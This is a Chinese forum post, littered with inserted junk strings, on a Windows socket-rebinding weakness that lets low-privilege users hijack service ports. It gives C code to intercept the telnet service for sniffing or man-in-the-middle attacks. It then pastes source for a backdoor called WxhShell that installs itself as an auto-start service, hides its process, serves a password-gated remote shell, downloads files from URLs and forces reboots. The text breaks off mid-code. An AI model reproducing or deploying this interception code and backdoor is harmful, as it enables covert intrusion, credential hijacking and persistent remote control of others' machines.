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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~?iQnQYI  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [CAFh:o  
M D& 7k,!  
  saddr.sin_family = AF_INET; EACI>  
L@?3E`4/v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); V1Gnr~GM  
T}"[f/:N/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }P\6}cK  
3".#nN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d\c)cgh%  
q}z`Z/`/  
  这意味着什么?意味着可以进行如下的攻击: Zv8GrkK  
,nV4%Aa  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 HRCnjem/v\  
* ]D{[hV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) mM{cH=  
Jt}#,I,B  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~g@}A  
0<f.r~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7^d7:1M  
=<K6gC27  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Bf[`o<c  
&2ty++gC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;R@D  
N&$ ,uhmO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {#pw rWG  
2^rJ|Ni  
  #include Czy}~;_Ay  
  #include gr@Ril^  
  #include I;G(Wj  
  #include    j^hLn >  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0fqycGSmU  
  int main() ao|n<*}  
  { e3[Q6d&|  
  WORD wVersionRequested; {/,AMJ<:G]  
  DWORD ret; _~F 0i?  
  WSADATA wsaData; O{U j  
  BOOL val; qN Ut&#  
  SOCKADDR_IN saddr; L gy^^.  
  SOCKADDR_IN scaddr; {r5OtYmpR  
  int err; .t&G^i'n  
  SOCKET s; Zzb?Nbf  
  SOCKET sc; bUYjmb2g)  
  int caddsize; nC!L<OMr  
  HANDLE mt; EP+LK?{%  
  DWORD tid;   &$l#0?Kc^  
  wVersionRequested = MAKEWORD( 2, 2 ); M23r/eg]  
  err = WSAStartup( wVersionRequested, &wsaData ); mwI7[I2q  
  if ( err != 0 ) { ua ky2SgN  
  printf("error!WSAStartup failed!\n"); O,NVhU7,  
  return -1; >Ml5QO$*.q  
  } *{\))Zmhd  
  saddr.sin_family = AF_INET; {:Kr't<XzF  
   ?|\wJrM ]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 B`jq"[w]-  
0y+i?y 9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2n-kJl`: O  
  saddr.sin_port = htons(23); h[<l2fy  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GY^;$?  
  { H4sc7-  
  printf("error!socket failed!\n"); 1<*U:W $g  
  return -1; }WBHuVcZG  
  } q1ZZ T"'  
  val = TRUE; ojA!!Ru  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ap4.c8f?Q-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $~%h4  
  { )%lPKp4]  
  printf("error!setsockopt failed!\n"); {2i8]Sp1d/  
  return -1; e,W,NnCICj  
  } "7j E&I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4G XS(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <z>oY2%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $q .}eb0  
QBN\wL8g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v53|)]V  
  { ~03MH'  
  ret=GetLastError(); F!*GrQms  
  printf("error!bind failed!\n"); ?zbWz=nq  
  return -1; wkV'']= Xg  
  } BL"7_phM,  
  listen(s,2); Ki&a"Fu3  
  while(1) 9QL%q; #  
  { Zs,6}m\  
  caddsize = sizeof(scaddr); DQaE9gmC  
  //接受连接请求 qV/>d' ,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fc[_~I'  
  if(sc!=INVALID_SOCKET) 8B5WbS fL^  
  { a#& ( i  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l\uNh~\  
  if(mt==NULL) *JQ*$$5  
  { uU^iY$w  
  printf("Thread Creat Failed!\n"); Xil;`8h  
  break; mm.%Dcn  
  } 7?y 7fwER  
  } ~-B+7  
  CloseHandle(mt); 1MT,A_L  
  } 4??LK/s*  
  closesocket(s);  ARs]qUY  
  WSACleanup(); =2ED w_5E  
  return 0; 5O Y5b8  
  }    ts=:r  
  DWORD WINAPI ClientThread(LPVOID lpParam) _mwt{D2r}  
  { Vo6g /h?`  
  SOCKET ss = (SOCKET)lpParam; y\Utm$)j  
  SOCKET sc; #N'9 w .  
  unsigned char buf[4096]; ZmNNR 1%/  
  SOCKADDR_IN saddr; Re %dNxJ=  
  long num; Jyr V2Tk^  
  DWORD val; ^H{YLO  
  DWORD ret; =Vazxt@[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 G.v(2~QFd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {8`$~c  
  saddr.sin_family = AF_INET; k}NM]9EAE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P8ZmrtQm  
  saddr.sin_port = htons(23); \<09.q<8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GNq f  
  { bovAFdHW  
  printf("error!socket failed!\n"); M}f(-,9  
  return -1; CjP<'0gT  
  } r@bh,U$  
  val = 100; $bFK2yx?=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zNdkwj p+  
  { AS re@pW  
  ret = GetLastError(); kfT*G +l]  
  return -1; s(J>yd=  
  } oD1k7Gq1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Xc}XRKiy{  
  { 1?1Bz?EKF*  
  ret = GetLastError(); ws^Ne30R  
  return -1; ' VKD$q  
  } KB(W'M_D\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :Jv5Flxl  
  { /> /e  
  printf("error!socket connect failed!\n"); di0@E<@1:  
  closesocket(sc); L$.3,./  
  closesocket(ss);  0yq  
  return -1; vv{+p(~**O  
  } Jww#zEK  
  while(1) X;Sb^c"j1  
  { x&0kIF'lq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lG%697P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +A)> zx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V[KN,o{6  
  num = recv(ss,buf,4096,0); \=bKuP(it  
  if(num>0) lw.[qP  
  send(sc,buf,num,0); ;l ZKgi8`  
  else if(num==0) >eQ.y- 4  
  break; N&?V=X  
  num = recv(sc,buf,4096,0); 1gbFl/i6T  
  if(num>0) &b}g.)RI  
  send(ss,buf,num,0); %A=/(%T>  
  else if(num==0) 6=;(~k&x9:  
  break; +>K&zS  
  } /lu|FWbEw  
  closesocket(ss); >7%T%2N  
  closesocket(sc); G8klWZAJ  
  return 0 ; V-n{=8s  
  } zqXF`MAB=  
 gu[EYg  
\AKP ea=  
========================================================== j-W$)c3X  
`Hlf.>b1  
下边附上一个代码,,WXhSHELL dnU-v7k,{  
J:Qx5;b;  
========================================================== hr6j+p:  
}&e HU  
#include "stdafx.h" 1BZ##xV*:G  
3Z=yCec]  
#include <stdio.h> 10 *Tk 8  
#include <string.h> XGH:'^o_  
#include <windows.h> AJxN9[Z!N  
#include <winsock2.h> #X?[")R  
#include <winsvc.h> jYRSV7d  
#include <urlmon.h> nW7: ]  
C8> i{XOO,  
#pragma comment (lib, "Ws2_32.lib") jS##zC  
#pragma comment (lib, "urlmon.lib") W/>a 1  
K4<"XF1A:  
#define MAX_USER   100 // 最大客户端连接数 $DIy?kZ  
#define BUF_SOCK   200 // sock buffer dX@ic,?  
#define KEY_BUFF   255 // 输入 buffer ;M4[Liw~O  
c&',#.9  
#define REBOOT     0   // 重启 OB$Jv<C@  
#define SHUTDOWN   1   // 关机 p TwzVz~  
Pd"c*n&9  
#define DEF_PORT   5000 // 监听端口 wGKxT ap  
abR<( H12  
#define REG_LEN     16   // 注册表键长度 qpYgTn8l7  
#define SVC_LEN     80   // NT服务名长度 vf{$2 rC  
{L%JDJ  
// 从dll定义API o&Xp%}TI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =-fM2oiI:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w.(WG+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); phjM(lmCo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SYA~I-OYc  
A+* lV*@0  
// wxhshell配置信息 {/,(F^T>2  
struct WSCFG { =CK%Zo  
  int ws_port;         // 监听端口 @Xl(A]w%!  
  char ws_passstr[REG_LEN]; // 口令 s.i9&1Y-!  
  int ws_autoins;       // 安装标记, 1=yes 0=no nsU7cLf"^V  
  char ws_regname[REG_LEN]; // 注册表键名 s)r !3HS  
  char ws_svcname[REG_LEN]; // 服务名 6dr 'nP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *af\U3kx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G&{yM2:E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p7;K] AW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {\`tt c>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D!,5j_,j%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K}re{y  
mnK<5KLg1  
}; JR.)CzC  
xOj#%;  
// default Wxhshell configuration v.Bwg 7R3  
struct WSCFG wscfg={DEF_PORT, A&t8C8,  
    "xuhuanlingzhe", HJ 7A/XW  
    1, 8$ _{R!x  
    "Wxhshell", <1*.:CL"s  
    "Wxhshell", DPxx9lN_rx  
            "WxhShell Service", ;7:} iKU  
    "Wrsky Windows CmdShell Service", ~ O#\$u  
    "Please Input Your Password: ", KJec/qca  
  1, cLf90|YFp  
  "http://www.wrsky.com/wxhshell.exe", L{%L*z9J  
  "Wxhshell.exe" l%"DeRp,/  
    }; hHJvLs>^  
p7Wt(A  
// 消息定义模块 }vZf&ib-   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -J+1V{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q=5aHH% |  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +\Jo^\  
char *msg_ws_ext="\n\rExit."; it\$Pih]  
char *msg_ws_end="\n\rQuit."; `D[O\ VE  
char *msg_ws_boot="\n\rReboot..."; IdAh)#) 7  
char *msg_ws_poff="\n\rShutdown..."; m_/U  t  
char *msg_ws_down="\n\rSave to "; >=;-:  
g:Qq%'  
char *msg_ws_err="\n\rErr!"; ) ~=pt&+  
char *msg_ws_ok="\n\rOK!"; auK9wQ%\  
\{ EVRRXn  
char ExeFile[MAX_PATH]; @iuX~QA[9  
int nUser = 0; :k1?I'q%  
HANDLE handles[MAX_USER]; azv173XZ  
int OsIsNt; )v_Wn[Y.H  
&SbdX   
SERVICE_STATUS       serviceStatus; Q/]~`S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cmXbkM  
VU,G.eLW  
// 函数声明 $TXiWW+  
int Install(void); V0,JTWc  
int Uninstall(void); TS6xF?  
int DownloadFile(char *sURL, SOCKET wsh); .4%z$(+6  
int Boot(int flag); 3(V0,L'1  
void HideProc(void); )mm0PJF~q  
int GetOsVer(void); _{k*JT2  
int Wxhshell(SOCKET wsl); <jV,VKL#  
void TalkWithClient(void *cs); QNx]8r  
int CmdShell(SOCKET sock); }qECpKa0  
int StartFromService(void); RQ8d1US  
int StartWxhshell(LPSTR lpCmdLine); Nq`;\E.M  
j_so s%-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 62R";# K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,:(s=J N+  
N=1ue`i  
// 数据结构和表定义 ZEI)U, I.  
SERVICE_TABLE_ENTRY DispatchTable[] = ~@c<5 -`{  
{ (7G4v  
{wscfg.ws_svcname, NTServiceMain}, ux TgK'3  
{NULL, NULL} <7 U~0@<Y  
}; 8*0QVFn$  
Bp7p X  
// 自我安装 Li5&^RAo|J  
int Install(void) xS1n,gTA  
{ USyc D`  
  char svExeFile[MAX_PATH]; eWAD;x?.  
  HKEY key;  `qs,V  
  strcpy(svExeFile,ExeFile); ^>l <)$s  
S~aWun  
// 如果是win9x系统,修改注册表设为自启动 K-k!':K:  
if(!OsIsNt) { B3ItZojAuw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V>QyiB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9{;L7`<  
  RegCloseKey(key); @h|qL-:!vG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L/:l>Ko>7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }X{rE|@  
  RegCloseKey(key); doL-G?8B  
  return 0; 5wVJ.B~s  
    } J;_4 3eS  
  } AA=Ob$2$  
} D^ @@ P  
else { D{B?2}X  
gEk;Tj  
// 如果是NT以上系统,安装为系统服务 {4 Yx h8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zr?s5RS  
if (schSCManager!=0) EF :g0$  
{ !j'LZ7  
  SC_HANDLE schService = CreateService 9Q,>I6`l  
  ( } KyoMs  
  schSCManager, e& `"}^X;I  
  wscfg.ws_svcname, _:9}RT?  
  wscfg.ws_svcdisp, es6YxMg  
  SERVICE_ALL_ACCESS, v>`Fo[c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4O-LLH  
  SERVICE_AUTO_START, *MmH{!=  
  SERVICE_ERROR_NORMAL, 5oG~Fc  
  svExeFile, nUj`#%  
  NULL, Uwkxc  
  NULL, l3Zi]`@r  
  NULL, C%Lr3M;S'  
  NULL, [+D]!&P  
  NULL "YI,  
  ); W_M#Gi/ AL  
  if (schService!=0) D{JjSky  
  { l-%] f]>  
  CloseServiceHandle(schService); r gIWM"  
  CloseServiceHandle(schSCManager); tNFw1&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8B*(P>  
  strcat(svExeFile,wscfg.ws_svcname); n{TWdC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o~XK*f=(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A*DN/lG  
  RegCloseKey(key); D-{*3?x  
  return 0; 2om:S+3)2  
    } 4ekwmw(ox  
  } Cl&mz1Y;]1  
  CloseServiceHandle(schSCManager); ZJ%NZAxy  
} ppz3"5  
} %l!A%fn(  
imif[n+]}d  
return 1; l[i4\ CT  
} Zm0VaOT$I  
23r(4  
// 自我卸载 qj _0 td$  
int Uninstall(void) ~b]enG5xS4  
{ >gp53\  
  HKEY key; &7\}S qp  
wIi(\]Q  
if(!OsIsNt) { Dazm8_x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t)W=0iEd9  
  RegDeleteValue(key,wscfg.ws_regname); jm%s#`)g  
  RegCloseKey(key); 9jImuSZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H[.)&7M\  
  RegDeleteValue(key,wscfg.ws_regname); cV6H!\  
  RegCloseKey(key); b, a7XANsh  
  return 0; -OJ<Lf+"=  
  } 1J9p1_d5  
} }=EJM7sM|k  
} 3;L$&X2  
else { d\>XfS  
r =x"E$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BO*)cLQ  
if (schSCManager!=0) Ua \f]y  
{ $CMye; yL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WOj}+?/3 R  
  if (schService!=0) } +Sp7F1q  
  { Zy7kPL;b  
  if(DeleteService(schService)!=0) { "T=j\/Q  
  CloseServiceHandle(schService); FUL3@Gb$UV  
  CloseServiceHandle(schSCManager); |1_$\k9Y&  
  return 0; +&7V@  
  } DRm`y>.  
  CloseServiceHandle(schService); CjPdN#*l  
  } `_cv& "K9f  
  CloseServiceHandle(schSCManager); -crMO57/  
} 3r+c&^  
} /b>xQ.G  
z` 6$p1U  
return 1; PpFQoY7M  
} h.R46:  
!T<,fR+8X  
// 从指定url下载文件 X(/fE?%;  
int DownloadFile(char *sURL, SOCKET wsh) VX8rM!3  
{ Zo2+{a  
  HRESULT hr; H4`>B>\  
char seps[]= "/"; .pPuBJL]<  
char *token; b|AjB:G  
char *file; wzy[sB274  
char myURL[MAX_PATH]; J#C4A]A  
char myFILE[MAX_PATH]; +#wVe  
?n{m2.H  
strcpy(myURL,sURL); +/celp  
  token=strtok(myURL,seps); WwsNAJ  
  while(token!=NULL) 1f+A_k/@  
  { ,X3D< wl  
    file=token; 3A ^AEO  
  token=strtok(NULL,seps); ~"%'(j_4  
  } ggPGKY-b=  
&*/= `=:C8  
GetCurrentDirectory(MAX_PATH,myFILE); uT=r*p(v  
strcat(myFILE, "\\"); S8AbLl9G@>  
strcat(myFILE, file); T P#Ncqh  
  send(wsh,myFILE,strlen(myFILE),0); Io<T'K  
send(wsh,"...",3,0); bp'%UgA)1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5rLx b  
  if(hr==S_OK) fUf 1G{4  
return 0; %iNgHoH  
else F-ZTy"z  
return 1; 5)Z=FUupA~  
! xM=7Q k  
} 4J[zNB]  
v`mB82s  
// 系统电源模块 Q0"?TSY  
int Boot(int flag) >dK0&+A  
{ G.O;[(3ab  
  HANDLE hToken; n eu<zSS  
  TOKEN_PRIVILEGES tkp; Q^va +O  
!+$QN4{9  
  if(OsIsNt) { ;5;>f)diS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l4$ sku-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Eg1TF oIWl  
    tkp.PrivilegeCount = 1; ??e|ec2%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (&79}IEd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .*6NqX$  
if(flag==REBOOT) { 'eBD/w5U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~roNe|P  
  return 0; e=h-}XRC  
} 5D<Zbn.>q  
else { -cUbIbW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *2/qm:gB  
  return 0; HdlO Ga6C  
} G0h&0e{w  
  } KsIHJr7-  
  else { $yU}56(z~  
if(flag==REBOOT) { &;?+ ^L>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tH; 6 Mp;f  
  return 0; %`pi*/(  
} [L-wAk:Fb  
else { Kn$t_7AF^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?`Z:vqp>Z  
  return 0; {Pe&J2 +  
} 7_3 PM 3C  
} 8>j&) @q  
oMAUR "  
return 1; ylos6]zS8  
} GKEOjaE  
z l`m1k-X  
// win9x进程隐藏模块 ;yqHt!N  
void HideProc(void) cg^~P-i@*  
{ {9;-5@b  
*6<4ECa7C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ).GM 0-y  
  if ( hKernel != NULL ) TR*vZzoy  
  { 0J[B3JO@M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oMYFfnoAa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A- m IWTa  
    FreeLibrary(hKernel); 3%r/w7Fc  
  } PUD8  
~pH!.|k-&  
return; sa<\nH$_X  
} ;~r-P$kCY  
4sSw7`  
// 获取操作系统版本 _l] 0V g`  
int GetOsVer(void) ?/T=G k  
{ a{e 2*V  
  OSVERSIONINFO winfo; fz VN;h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Muq~p~m}  
  GetVersionEx(&winfo); eu)""l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;Q&9 t  
  return 1; :''Swi<H  
  else pRlScD_};  
  return 0; s\~j,$Mm2  
} .KG9YGL#  
D&K9!z"]  
// 客户端句柄模块 nF]E":  
int Wxhshell(SOCKET wsl) e/x 9@1s#  
{ Tt{X(I} J  
  SOCKET wsh; GMZ6 dK  
  struct sockaddr_in client; "x]7 et,  
  DWORD myID; 2N |iOog  
,>qtnwvlHP  
  while(nUser<MAX_USER) L Y4bn)Qf  
{ $s ,g&7*-  
  int nSize=sizeof(client); si~zg\uY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4W2.K0Ca  
  if(wsh==INVALID_SOCKET) return 1; h8M_Uk  
7Q'u>o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L~h:>I+pG  
if(handles[nUser]==0) 7s%1?$B  
  closesocket(wsh); 0n4(Rj|}2  
else R$IsP,Uw  
  nUser++; e\aW~zs 2  
  } ;B2&#kot7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rFt +Y})  
CD#U`jf  
  return 0; F@ pf._c  
} K&{ _s  
Lwm /[  
// 关闭 socket "ivVIq2  
void CloseIt(SOCKET wsh) j p}.W  
{ ldU ><xc2  
closesocket(wsh); ZvXw#0)v  
nUser--; (7,Q4T  
ExitThread(0); c3rj :QK6I  
} opn6 C )  
wNl6a9#  
// 客户端请求句柄 "g"%7jK  
void TalkWithClient(void *cs) /_expSPHl  
{ v`'Iew }  
h(~of (  
  SOCKET wsh=(SOCKET)cs; 4/\Ynb.L  
  char pwd[SVC_LEN]; }h/7M  
  char cmd[KEY_BUFF]; &\5bo=5V  
char chr[1]; fTX|vy<EMI  
int i,j; U4Y)Jk  
%< ;u JP K  
  while (nUser < MAX_USER) { vKPLh   
1)~9Eku6K  
if(wscfg.ws_passstr) { n/BoK6g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  xi<}n#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WSU/Z[\`H  
  //ZeroMemory(pwd,KEY_BUFF); c;t3I},  
      i=0; pwSkwJ]  
  while(i<SVC_LEN) { {#@[ttw$U  
~z41$~/  
  // 设置超时 1S+T:n  
  fd_set FdRead; mo4F\$2N  
  struct timeval TimeOut; %0vsm+XQ0E  
  FD_ZERO(&FdRead); I:al[V2g  
  FD_SET(wsh,&FdRead); .bV^u  
  TimeOut.tv_sec=8; OFcP4hDi  
  TimeOut.tv_usec=0; =SW<Vhtb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %@aC5^Ovy+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Wy1.nn[  
x}` )'a[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m,6u+Z ,  
  pwd=chr[0]; .A/xH x  
  if(chr[0]==0xd || chr[0]==0xa) { 8{icY|:MTN  
  pwd=0; .DnG}884  
  break; &01KHJY)/G  
  } (<Cg|*s  
  i++; (<H@W/0$  
    } tK+JmbB\  
?hp,h3s;n$  
  // 如果是非法用户,关闭 socket M0vX9;J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j g EYlZ  
} 8/P!i2o  
/UR;,ts  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >*^SQ{9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z~2;u 5S&  
S;#7B?j  
while(1) { !-SI &qy  
?caHS2%?ae  
  ZeroMemory(cmd,KEY_BUFF); _x$Eq: i  
UpQda`rb  
      // 自动支持客户端 telnet标准   cV`NQt<W  
  j=0; v$;URF%^  
  while(j<KEY_BUFF) { a 7b1c!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U: <  
  cmd[j]=chr[0]; J*%IvRg  
  if(chr[0]==0xa || chr[0]==0xd) { 3F6A.Ny  
  cmd[j]=0; d[H`Fe6h  
  break; RA+M.  
  } X}QcXc.d  
  j++; [oXr6M:  
    } @L607[!?  
8{&.[S C7  
  // 下载文件 %l%2 hvGZ  
  if(strstr(cmd,"http://")) { ?d3<GhzlR3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w&hCt c  
  if(DownloadFile(cmd,wsh)) [%Z{Mp'g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @o<B>$tbu4  
  else VGCd)&s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;kG"m7-/  
  } 9RK.+ 2  
  else { r0\C2g_X  
MQ'=qR  
    switch(cmd[0]) { $.ctlWS8l{  
  [ 'B u  
  // 帮助 ]h`d>#Hw!  
  case '?': { 1p-<F3;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qckRX+P`  
    break; (II#9 n)  
  } Z;dR :|%)  
  // 安装 0d 0ga^O  
  case 'i': { %bG\  
    if(Install()) uE%2kB*]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7D~~<45ct  
    else #rz!d/)Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Ap*PL  
    break; !"F8jA}  
    } urL@SeV+$  
  // 卸载 Cf v1nU W  
  case 'r': { EyV5FWb58  
    if(Uninstall()) &-vHb   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }4,[oD  
    else zSOZr2- ^a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?;_Mxal'  
    break; +QSH*(,  
    } G 40  
  // 显示 wxhshell 所在路径 l['ER$(7  
  case 'p': { r"VNq&v]9  
    char svExeFile[MAX_PATH]; gla'urb[i|  
    strcpy(svExeFile,"\n\r"); i DsY 5l  
      strcat(svExeFile,ExeFile); G}dq ft5"  
        send(wsh,svExeFile,strlen(svExeFile),0); &pv* TL8  
    break; \SJX;7 ST  
    } 3?+t%_[  
  // 重启 ( ~JtKSq%  
  case 'b': { XE;' K`%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -_Z  
    if(Boot(REBOOT)) $P #KL//  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :o:/RRp[  
    else { O /&Qzt  
    closesocket(wsh); #!(2@N8  
    ExitThread(0); I;{Ua *  
    } W6u(+P]("  
    break; ?. L]QU  
    } x|Ms2.!  
  // 关机 xHkxrXqeI  
  case 'd': { 4dI`  
